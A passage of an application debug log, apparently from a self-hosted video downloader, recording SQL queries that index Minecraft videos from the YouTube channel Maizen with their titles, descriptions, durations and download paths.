s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:07:01.987 [debug] QUERY OK source="sources" db=0.1ms idle=204.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:01.989 [debug] QUERY OK source="media_items" db=1.8ms idle=205.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-26 05:54:04Z], 2] 20:07:01.990 [debug] QUERY OK source="media_items" db=0.7ms idle=207.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "877092eb-02e2-4fa0-8c94-35e316197e4c", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", 12, "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-26 05:54:04Z], ~U[2026-08-20 03:07:01Z], ~U[2026-08-20 03:07:01Z], "Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", false, 2, ~U[2026-05-26 05:54:04Z]] 20:07:01.990 [debug] QUERY OK source="sources" db=0.2ms idle=62.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:01.991 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:07:01.991 [debug] QUERY OK source="media_items" db=0.2ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [115031] 20:07:01.991 [debug] Current batch of media processed. Will check again in 1000ms 20:07:02.992 [debug] Current batch of media processed. Will check again in 1000ms 20:07:03.993 [debug] Current batch of media processed. Will check again in 1000ms 20:07:04.994 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 1140, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", "id" => "G0WIo8d6jaQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=G0WIo8d6jaQ", "playlist_index" => 13, "timestamp" => 1779500499, "title" => "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "upload_date" => "20260523"} 20:07:04.995 [debug] QUERY OK source="sources" db=0.2ms idle=1212.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:07:04.995 [debug] QUERY OK source="sources" db=0.1ms idle=1213.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:04.997 [debug] QUERY OK source="media_items" db=1.3ms idle=1213.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-23 01:41:39Z], 2] 20:07:04.998 [debug] QUERY OK source="media_items" db=0.8ms idle=1065.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "15a1bf52-1ef6-481c-a763-56c914ea87cd", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", 13, "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-23 01:41:39Z], ~U[2026-08-20 03:07:04Z], ~U[2026-08-20 03:07:04Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-23 01:41:39Z]] 20:07:04.998 [debug] QUERY OK source="sources" db=0.2ms idle=65.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:04.999 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:07:04.999 [debug] QUERY OK source="media_items" db=0.2ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [105336] 20:07:04.999 [debug] Current batch of media processed. Will check again in 1000ms 20:07:06.000 [debug] Current batch of media processed. Will check again in 1000ms 20:07:07.001 [debug] Current batch of media processed. Will check again in 1000ms 20:07:08.002 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 25255, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", "id" => "hRyqA0Yp7pY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=hRyqA0Yp7pY", "playlist_index" => 14, "timestamp" => 1779434034, "title" => "Minecraft", "upload_date" => "20260522"} 20:07:08.003 [debug] QUERY OK source="sources" db=0.2ms idle=1220.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:07:08.003 [debug] QUERY OK source="sources" db=0.1ms idle=1220.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:08.005 [debug] QUERY OK source="media_items" db=1.4ms idle=1221.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 07:13:54Z], 2] 20:07:08.006 [debug] QUERY OK source="media_items" db=0.7ms idle=1070.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "f0a8352b-0ce8-4547-8033-7165df38ede6", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", 14, "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-22 07:13:54Z], ~U[2026-08-20 03:07:08Z], ~U[2026-08-20 03:07:08Z], "Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, 2, ~U[2026-05-22 07:13:54Z]] 20:07:08.006 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=70.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:08.007 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:07:08.007 [debug] QUERY OK source="media_items" db=0.2ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [105337] 20:07:08.007 [debug] Current batch of media processed. Will check again in 1000ms 20:07:09.008 [debug] Current batch of media processed. Will check again in 1000ms 20:07:10.009 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 2386, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", "id" => "gu_xiQyFWhs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=gu_xiQyFWhs", "playlist_index" => 15, "timestamp" => 1778987277, "title" => "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "upload_date" => "20260517"} 20:07:10.010 [debug] QUERY OK source="sources" db=0.2ms idle=227.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:07:10.010 [debug] QUERY OK source="sources" db=0.1ms idle=227.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:10.012 [debug] QUERY OK source="media_items" db=1.3ms idle=228.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-17 03:07:57Z], 2] 20:07:10.013 [debug] QUERY OK source="media_items" db=0.7ms idle=229.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "e6086138-74e3-408b-8702-6214c666fd79", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", 15, "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, false, false, 2, [], 98, ~U[2026-05-17 03:07:57Z], ~U[2026-08-20 03:07:10Z], ~U[2026-08-20 03:07:10Z], "Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, 2, ~U[2026-05-17 03:07:57Z]] 20:07:10.013 [debug] QUERY OK source="sources" db=0.2ms idle=75.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:10.013 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:07:10.014 [debug] QUERY OK source="media_items" db=0.2ms idle=3.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [86028] 20:07:10.014 [debug] Current batch of media processed. Will check again in 1000ms 20:07:11.015 [debug] Current batch of media processed. Will check again in 1000ms 20:07:12.016 [debug] Current batch of media processed. Will check again in 1000ms 20:07:13.017 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 915, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", "id" => "sbn-vC02XcE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=sbn-vC02XcE", "playlist_index" => 16, "timestamp" => 1778901923, "title" => "500 Million Year Button", "upload_date" => "20260516"} 20:07:13.018 [debug] QUERY OK source="sources" db=0.2ms idle=1235.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:07:13.018 [debug] QUERY OK source="sources" db=0.2ms idle=1236.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE 